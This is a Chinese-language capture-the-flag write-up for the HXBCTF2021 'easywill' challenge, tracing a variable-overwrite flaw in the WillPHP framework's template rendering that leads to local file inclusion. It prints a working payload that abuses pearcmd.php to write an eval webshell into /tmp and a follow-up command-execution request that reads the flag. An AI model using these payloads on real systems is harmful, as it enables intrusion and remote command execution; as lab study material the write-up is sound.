HXBCTF2021-easywill


HXBCTF2021-easywill

知识点概要:变量覆盖、文件包含、利用pearcmd.php写shell(不出网)

首页

官网没有对应版本,遂找作者要了一份

感谢框架作者无念和他的热情帮助

本地调试

app/controller/IndexController.php修改为题目的代码,有两个GET参数,那么我们就如下传参调试

?name=testname&value=testvalue

从第6行传参进入

跳转到willphp/helper.php206行

然后来到willphp/wiphp/View.php14行,可看到执行完毕后,_vars数组里存储了一个键值对,键和值分别对应GET请求传入的name参数值和value参数值

然后返回IndexController.php执行第7行

进入view()函数,来到willphp/helper.php215行

进入fetch方法,来到willphp/wiphp/View.php,16-38行相当于把待渲染的文件路径拼接处理出来

进入39行render方法,来到willphp/wiphp/Tple.php的14-16行

进入renderTo方法,关键在于44-45行,可利用变量覆盖实现文件包含

GET传入如下参数时,执行extract($_vars);后,cfilevalue会覆盖掉$cfile原来的值,如下图

?name=cfile&value=cfilevalue

比如在题目中传入?name=cfile&value=/etc/passwd,就会返回如下内容

那么就可以通过包含pearcmd.php实现getshell

参考:https://blog.csdn.net/rfrder/article/details/121042290

由于环境不出网,Payload:

?name=cfile&value=/usr/local/lib/php/pearcmd.php&+-c+/tmp/wa0er.php+-d+man_dir=<?eval($_REQUEST[0]);?>+-s+

需Burp传参,否则尖括号会被URL编码写入文件,导致无法解析成php脚本执行

然后POST传参读取flag

?name=cfile&value=/tmp/wa0er.php
0=system('cat /fl*');

参考

https://blog.csdn.net/weixin_46081055/article/details/124046525

https://blog.csdn.net/weixin_43610673/article/details/121369384


文章作者: wa0er
版权声明: 本博客所有文章除特別声明外,均采用 CC BY-NC 4.0 许可协议。转载请注明来源 wa0er !
评论
  目录